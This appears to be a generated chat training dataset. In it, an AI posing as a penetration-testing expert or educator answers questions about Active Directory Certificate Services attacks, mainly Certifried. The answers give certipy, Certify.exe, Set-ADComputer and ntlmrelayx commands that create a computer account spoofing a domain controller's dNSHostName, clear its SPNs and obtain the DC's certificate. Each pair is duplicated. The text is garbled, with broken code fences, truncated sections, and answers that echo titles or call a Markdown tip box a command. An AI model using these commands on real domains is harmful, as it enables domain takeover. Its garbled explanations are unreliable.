[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Adding a computer account and setting the dNSHostName to impersonate

[Assistant]
certipy account create -u "$USER"@"$DOMAIN" -p "$PASSWORD" -user "$COMPUTER_NAME" -pass "$COMPUTER_PASS" -dns "$DC_NAME.$DOMAIN"

``

> [!TIP]
> The Domain Components (DC) are the different parts of the domain name (DC=domain,DC=local for domain.local, or DC=sub,DC=domain,DC=local for sub.domain.local).

=== Windows

The Active Directory RSAT tools can be used on Windows systems to operate these changes.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Adding a computer account and setting the dNSHostName to impersonate

Response:
certipy account create -u "$USER"@"$DOMAIN" -p "$PASSWORD" -user "$COMPUTER_NAME" -pass "$COMPUTER_PASS" -dns "$DC_NAME.$DOMAIN"

``

> [!TIP]
> The Domain Components (DC) are the different parts of the domain name (DC=domain,DC=local for domain.local, or DC=sub,DC=domain,DC=local for sub.domain.local).

=== Windows

The Active Directory RSAT tools can be used on Windows systems to operate these changes.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Adding a computer account and setting the dNSHostName to impersonate?

[Assistant]
> [!TIP]
> The Domain Components (DC) are the different parts of the domain name (`DC=domain,DC=local` for `domain.local`, or `DC=sub,DC=domain,DC=local` for `sub.domain.local`).

=== Windows

The [Active Directory RSAT](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) tools can be used on Windows systems to operate these changes.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Adding a computer account and setting the dNSHostName to impersonate?

Response:
> [!TIP]
> The Domain Components (DC) are the different parts of the domain name (`DC=domain,DC=local` for `domain.local`, or `DC=sub,DC=domain,DC=local` for `sub.domain.local`).

=== Windows

The [Active Directory RSAT](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) tools can be used on Windows systems to operate these changes.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!TIP]`?

[Assistant] This command is used for adding a computer account and setting the dnshostname to impersonate. Adding a computer account and setting the dNSHostName to impersonate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for adding a computer account and setting the dnshostname to impersonate. Adding a computer account and setting the dNSHostName to impersonate


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Clearing the SPNs in the context of penetration testing

[Assistant] Set-ADComputer $COMPUTER_NAME -ServicePrincipalName @{}

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Clearing the SPNs in the context of penetration testing

Response: Set-ADComputer $COMPUTER_NAME -ServicePrincipalName @{}


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Clearing the SPNs

[Assistant] Set-ADComputer $COMPUTER_NAME -ServicePrincipalName @{}

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Set-ADComputer $COMPUTER_NAME -ServicePrincipalName @{}


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Setting the dNSHostName value to the name of a computer account to impersonate in the context of penetration testing

[Assistant] Set-ADComputer $COMPUTER_NAME -DnsHostName $DC_NAME.$DOMAIN_FQDN

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Setting the dNSHostName value to the name of a computer account to impersonate in the context of penetration testing

Response: Set-ADComputer $COMPUTER_NAME -DnsHostName $DC_NAME.$DOMAIN_FQDN


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Setting the dNSHostName value to the name of a computer account to impersonate

[Assistant] Set-ADComputer $COMPUTER_NAME -DnsHostName $DC_NAME.$DOMAIN_FQDN

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Setting the dNSHostName value to the name of a computer account to impersonate

Response: Set-ADComputer $COMPUTER_NAME -DnsHostName $DC_NAME.$DOMAIN_FQDN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Verifying the dNSHostName value and SPN entries

[Assistant]
Get-ADComputer $COMPUTER_NAME -properties dnshostname,serviceprincipalname
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Verifying the dNSHostName value and SPN entries

Response:
Get-ADComputer $COMPUTER_NAME -properties dnshostname,serviceprincipalname
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Verifying the dNSHostName value and SPN entries

[Assistant]
Get-ADComputer $COMPUTER_NAME -properties dnshostname,serviceprincipalname
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Verifying the dNSHostName value and SPN entries

Response:
Get-ADComputer $COMPUTER_NAME -properties dnshostname,serviceprincipalname
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Certifried - Obtaining a certificate?

[Assistant]
The third and last step consists in getting the certificate of the targeted machine account ($DC_NAME in the previous command examples).

::: tabs

=== UNIX-like

Certipy (Python) can be used to request the certificate from UNIX-like systems.

``bash
certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'

`

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

Certify (C#) can be used to request the certificate from Windows systems.

`powershell
Certify.exe request /ca:"domain\ca" /template:"Machine"
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Certifried - Obtaining a certificate?

Response:
The third and last step consists in getting the certificate of the targeted machine account ($DC_NAME in the previous command examples).

::: tabs

=== UNIX-like

Certipy (Python) can be used to request the certificate from UNIX-like systems.

``bash
certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'

`

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

Certify (C#) can be used to request the certificate from Windows systems.

`powershell
Certify.exe request /ca:"domain\ca" /template:"Machine"
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Certifried - Obtaining a certificate

[Assistant]
The third and last step consists in getting the certificate of the targeted machine account ($DC_NAME in the previous command examples).

::: tabs

=== UNIX-like

Certipy (Python) can be used to request the certificate from UNIX-like systems.

``bash
certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'

`

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

Certify (C#) can be used to request the certificate from Windows systems.

`powershell
Certify.exe request /ca:"domain\ca" /template:"Machine"
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Certifried - Obtaining a certificate

Response:
The third and last step consists in getting the certificate of the targeted machine account ($DC_NAME in the previous command examples).

::: tabs

=== UNIX-like

Certipy (Python) can be used to request the certificate from UNIX-like systems.

``bash
certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'

`

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

> [!TIP]
> By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

=== Windows

Certify (C#) can be used to request the certificate from Windows systems.

`powershell
Certify.exe request /ca:"domain\ca" /template:"Machine"
``

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the certipy command for certifried - obtaining a certificate

[Assistant] certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the certipy command for certifried - obtaining a certificate

Response: certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certifried - Obtaining a certificate

[Assistant] certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Certifried - Obtaining a certificate

Response: certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'`?

[Assistant] This command is used for certifried - obtaining a certificate. Obtaining a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certipy req -u 'compter$'@"$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Machine'`?

Response: This command is used for certifried - obtaining a certificate. Obtaining a certificate


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the Certify.exe syntax for certifried - obtaining a certificate?

[Assistant] Certify.exe request /ca:"domain\ca" /template:"Machine"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the Certify.exe syntax for certifried - obtaining a certificate?

Response: Certify.exe request /ca:"domain\ca" /template:"Machine"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Certifried - Obtaining a certificate?

[Assistant] Certify.exe request /ca:"domain\ca" /template:"Machine"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Certifried - Obtaining a certificate?

Response: Certify.exe request /ca:"domain\ca" /template:"Machine"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Certify.exe request /ca:"domain\ca" /template:"Machine"`?

[Assistant] This command is used for certifried - obtaining a certificate. Obtaining a certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Certify.exe request /ca:"domain\ca" /template:"Machine"`?

Response: This command is used for certifried - obtaining a certificate. Obtaining a certificate


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Certificate Services (AD-CS) - Theory in the context of penetration testing

[Assistant]
> AD CS is Microsoft’s PKI implementation that provides everything from encrypting file systems, to digital signatures, to user authentication (a large focus of our research), and more. While AD CS is not installed by default for Active Directory environments, from our experience in enterprise environments it is widely deployed, and the security ramifications of misconfigured certificate service instances are enormous. (specterops.io)

In their research papers, Will Schroeder and Lee Christensen shared their research on AD CS and identified multiple theft, escalation and persistence vectors.

* Credential theft (dubbed THEFT1 to THEFT5)
* Account persistence (dubbed PERSIST1 to PERSIST3)
* Domain escalation (dubbed ESC1 to ESC14)
 * based on misconfigured certificate templates
 * based on dangerous CA configuration
 * related to access control vulnerabilities
 * based on an NTLM relay vulnerability related to the web and RPC endpoints of AD CS
* Domain persistence (dubbed DPERSIST1 to DPERSIST3)
 * by forging certificates with a stolen CA certificates
 * by trusting rogue CA certificates
 * by maliciously creating vulnerable access controls

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Certificate Services (AD-CS) - Theory in the context of penetration testing

Response:
> AD CS is Microsoft’s PKI implementation that provides everything from encrypting file systems, to digital signatures, to user authentication (a large focus of our research), and more. While AD CS is not installed by default for Active Directory environments, from our experience in enterprise environments it is widely deployed, and the security ramifications of misconfigured certificate service instances are enormous. (specterops.io)

In their research papers, Will Schroeder and Lee Christensen shared their research on AD CS and identified multiple theft, escalation and persistence vectors.

* Credential theft (dubbed THEFT1 to THEFT5)
* Account persistence (dubbed PERSIST1 to PERSIST3)
* Domain escalation (dubbed ESC1 to ESC14)
 * based on misconfigured certificate templates
 * based on dangerous CA configuration
 * related to access control vulnerabilities
 * based on an NTLM relay vulnerability related to the web and RPC endpoints of AD CS
* Domain persistence (dubbed DPERSIST1 to DPERSIST3)
 * by forging certificates with a stolen CA certificates
 * by trusting rogue CA certificates
 * by maliciously creating vulnerable access controls


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Certificate Services (AD-CS) - Theory

[Assistant]
> AD CS is Microsoft’s PKI implementation that provides everything from encrypting file systems, to digital signatures, to user authentication (a large focus of our research), and more. While AD CS is not installed by default for Active Directory environments, from our experience in enterprise environments it is widely deployed, and the security ramifications of misconfigured certificate service instances are enormous. (specterops.io)

In their research papers, Will Schroeder and Lee Christensen shared their research on AD CS and identified multiple theft, escalation and persistence vectors.

* Credential theft (dubbed THEFT1 to THEFT5)
* Account persistence (dubbed PERSIST1 to PERSIST3)
* Domain escalation (dubbed ESC1 to ESC14)
 * based on misconfigured certificate templates
 * based on dangerous CA configuration
 * related to access control vulnerabilities
 * based on an NTLM relay vulnerability related to the web and RPC endpoints of AD CS
* Domain persistence (dubbed DPERSIST1 to DPERSIST3)
 * by forging certificates with a stolen CA certificates
 * by trusting rogue CA certificates
 * by maliciously creating vulnerable access controls

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Certificate Services (AD-CS) - Theory

Response:
> AD CS is Microsoft’s PKI implementation that provides everything from encrypting file systems, to digital signatures, to user authentication (a large focus of our research), and more. While AD CS is not installed by default for Active Directory environments, from our experience in enterprise environments it is widely deployed, and the security ramifications of misconfigured certificate service instances are enormous. (specterops.io)

In their research papers, Will Schroeder and Lee Christensen shared their research on AD CS and identified multiple theft, escalation and persistence vectors.

* Credential theft (dubbed THEFT1 to THEFT5)
* Account persistence (dubbed PERSIST1 to PERSIST3)
* Domain escalation (dubbed ESC1 to ESC14)
 * based on misconfigured certificate templates
 * based on dangerous CA configuration
 * related to access control vulnerabilities
 * based on an NTLM relay vulnerability related to the web and RPC endpoints of AD CS
* Domain persistence (dubbed DPERSIST1 to DPERSIST3)
 * by forging certificates with a stolen CA certificates
 * by trusting rogue CA certificates
 * by maliciously creating vulnerable access controls


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Certificate Services (AD-CS) - Escalation techniques

[Assistant]
- ESC1 "template-allows-san"
- ESC2  "any-purpose-eku"
- ESC3  "certificate-agent-eku"
- ESC4  "certificate-templates"
- ESC5  "other-objects"
- ESC6  "editf_attributesubjectaltname2"
- ESC7  "certificate-authority"
- ESC8  "web-endpoint-esc8
- ESC9  "no-security-extension"
- ESC10  "weak-certificate-mapping"
- ESC11  "rpc-endpoint"
- ESC12  "shell-access-to-adcs-ca-with-yubihsm"
- ESC13  "issuance-policiy-with-privileged-group-linked"
- ESC14  "weak-explicit-mapping"
- ESC15  "arbitrary application policy"
- Certifried.md

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Certificate Services (AD-CS) - Escalation techniques

Response:
- ESC1 "template-allows-san"
- ESC2  "any-purpose-eku"
- ESC3  "certificate-agent-eku"
- ESC4  "certificate-templates"
- ESC5  "other-objects"
- ESC6  "editf_attributesubjectaltname2"
- ESC7  "certificate-authority"
- ESC8  "web-endpoint-esc8
- ESC9  "no-security-extension"
- ESC10  "weak-certificate-mapping"
- ESC11  "rpc-endpoint"
- ESC12  "shell-access-to-adcs-ca-with-yubihsm"
- ESC13  "issuance-policiy-with-privileged-group-linked"
- ESC14  "weak-explicit-mapping"
- ESC15  "arbitrary application policy"
- Certifried.md


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Certificate Services (AD-CS) - Escalation techniques

[Assistant]
- ESC1 "template-allows-san"
- ESC2  "any-purpose-eku"
- ESC3  "certificate-agent-eku"
- ESC4  "certificate-templates"
- ESC5  "other-objects"
- ESC6  "editf_attributesubjectaltname2"
- ESC7  "certificate-authority"
- ESC8  "web-endpoint-esc8
- ESC9  "no-security-extension"
- ESC10  "weak-certificate-mapping"
- ESC11  "rpc-endpoint"
- ESC12  "shell-access-to-adcs-ca-with-yubihsm"
- ESC13  "issuance-policiy-with-privileged-group-linked"
- ESC14  "weak-explicit-mapping"
- ESC15  "arbitrary application policy"
- Certifried.md

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Certificate Services (AD-CS) - Escalation techniques

Response:
- ESC1 "template-allows-san"
- ESC2  "any-purpose-eku"
- ESC3  "certificate-agent-eku"
- ESC4  "certificate-templates"
- ESC5  "other-objects"
- ESC6  "editf_attributesubjectaltname2"
- ESC7  "certificate-authority"
- ESC8  "web-endpoint-esc8
- ESC9  "no-security-extension"
- ESC10  "weak-certificate-mapping"
- ESC11  "rpc-endpoint"
- ESC12  "shell-access-to-adcs-ca-with-yubihsm"
- ESC13  "issuance-policiy-with-privileged-group-linked"
- ESC14  "weak-explicit-mapping"
- ESC15  "arbitrary application policy"
- Certifried.md


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Certificate Services (AD-CS) - Terminology?

[Assistant]
> * PKI (Public Key Infrastructure) — a system to manage certificates/public key encryption
> * AD CS (Active Directory Certificate Services) — Microsoft’s PKI implementation
> * CA (Certificate Authority) — PKI server that issues certificates
> * Enterprise CA — CA integrated with AD (as opposed to a standalone CA), offers certificate templates
> * Certificate Template — a collection of settings and policies that defines the contents of a certificate issued by an enterprise CA
> * CSR (Certificate Signing Request) — a message sent to a CA to request a signed certificate
> * EKU (Extended/Enhanced Key Usage) — one or more object identifiers (OIDs) that define how a certificate can be used
> * Application Policy — this does the same thing as EKUs, but with a few more options. Specific to Windows environments
>
> (specterops.io)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Certificate Services (AD-CS) - Terminology?

Response:
> * PKI (Public Key Infrastructure) — a system to manage certificates/public key encryption
> * AD CS (Active Directory Certificate Services) — Microsoft’s PKI implementation
> * CA (Certificate Authority) — PKI server that issues certificates
> * Enterprise CA — CA integrated with AD (as opposed to a standalone CA), offers certificate templates
> * Certificate Template — a collection of settings and policies that defines the contents of a certificate issued by an enterprise CA
> * CSR (Certificate Signing Request) — a message sent to a CA to request a signed certificate
> * EKU (Extended/Enhanced Key Usage) — one or more object identifiers (OIDs) that define how a certificate can be used
> * Application Policy — this does the same thing as EKUs, but with a few more options. Specific to Windows environments
>
> (specterops.io)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Certificate Services (AD-CS) - Terminology during a pentest?

[Assistant]
> * PKI (Public Key Infrastructure) — a system to manage certificates/public key encryption
> * AD CS (Active Directory Certificate Services) — Microsoft’s PKI implementation
> * CA (Certificate Authority) — PKI server that issues certificates
> * Enterprise CA — CA integrated with AD (as opposed to a standalone CA), offers certificate templates
> * Certificate Template — a collection of settings and policies that defines the contents of a certificate issued by an enterprise CA
> * CSR (Certificate Signing Request) — a message sent to a CA to request a signed certificate
> * EKU (Extended/Enhanced Key Usage) — one or more object identifiers (OIDs) that define how a certificate can be used
> * Application Policy — this does the same thing as EKUs, but with a few more options. Specific to Windows environments
>
> (specterops.io)

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Certificate Services (AD-CS) - Terminology during a pentest?

Response:
> * PKI (Public Key Infrastructure) — a system to manage certificates/public key encryption
> * AD CS (Active Directory Certificate Services) — Microsoft’s PKI implementation
> * CA (Certificate Authority) — PKI server that issues certificates
> * Enterprise CA — CA integrated with AD (as opposed to a standalone CA), offers certificate templates
> * Certificate Template — a collection of settings and policies that defines the contents of a certificate issued by an enterprise CA
> * CSR (Certificate Signing Request) — a message sent to a CA to request a signed certificate
> * EKU (Extended/Enhanced Key Usage) — one or more object identifiers (OIDs) that define how a certificate can be used
> * Application Policy — this does the same thing as EKUs, but with a few more options. Specific to Windows environments
>
> (specterops.io)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Certificate Services (AD-CS) - Recon work?

[Assistant] While AD CS offers attackers a wide range of exploitation and persistence scenarios, this set of services is not always installed, and when it is, it is a requirement to identify its different parts in the domain.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Certificate Services (AD-CS) - Recon work?

Response: While AD CS offers attackers a wide range of exploitation and persistence scenarios, this set of services is not always installed, and when it is, it is a requirement to identify its different parts in the domain.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Certificate Services (AD-CS) - Recon?

[Assistant] While AD CS offers attackers a wide range of exploitation and persistence scenarios, this set of services is not always installed, and when it is, it is a requirement to identify its different parts in the domain.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Certificate Services (AD-CS) - Recon?

Response: While AD CS offers attackers a wide range of exploitation and persistence scenarios, this set of services is not always installed, and when it is, it is a requirement to identify its different parts in the domain.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Certificate Services (AD-CS) - Cert Publishers?

[Assistant]
An initial indicator is the "Cert Publishers" built-in group whose members usually are the servers where AD CS is installed (i.e. PKI/CA).

* From UNIX-like systems: net rpc group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
* From Windows systems: net group "Cert Publishers" /domain

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Certificate Services (AD-CS) - Cert Publishers?

Response:
An initial indicator is the "Cert Publishers" built-in group whose members usually are the servers where AD CS is installed (i.e. PKI/CA).

* From UNIX-like systems: net rpc group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
* From Windows systems: net group "Cert Publishers" /domain


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Certificate Services (AD-CS) - Cert Publishers

[Assistant]
An initial indicator is the "Cert Publishers" built-in group whose members usually are the servers where AD CS is installed (i.e. PKI/CA).

* From UNIX-like systems: net rpc group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
* From Windows systems: net group "Cert Publishers" /domain

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Certificate Services (AD-CS) - Cert Publishers

Response:
An initial indicator is the "Cert Publishers" built-in group whose members usually are the servers where AD CS is installed (i.e. PKI/CA).

* From UNIX-like systems: net rpc group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"
* From Windows systems: net group "Cert Publishers" /domain


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Certificate Services (AD-CS) - pKIEnrollmentService objects

[Assistant]
Alternatively, information like the PKI's CA and DNS names can be gathered through LDAP.

::: tabs

=== netexec

netexec's adcs module (Python) can be used to find PKI enrollment services in AD.

``bash
netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
`

=== windapsearch

windapsearch (Python) can be used to manually to the LDAP query.

`bash
windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'
`

=== ntlmrelayx

With Impacket's ntlmrelayx (Python), thanks to SAERXCIT (PR#1214), it is possible to gather information regarding ADCS like the name and host of the CA, the certificate templates enrollment rights for those allowing client authentication and not requiring manager approval, etc. With ntlmrelayx, these information can be gathered through a relayed LDAP session.

`bash
ntlmrelayx -t "ldap://domaincontroller" --dump-adcs
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Certificate Services (AD-CS) - pKIEnrollmentService objects

Response:
Alternatively, information like the PKI's CA and DNS names can be gathered through LDAP.

::: tabs

=== netexec

netexec's adcs module (Python) can be used to find PKI enrollment services in AD.

``bash
netexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
`

=== windapsearch

windapsearch (Python) can be used to manually to the LDAP query.

`bash
windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'
`

=== ntlmrelayx

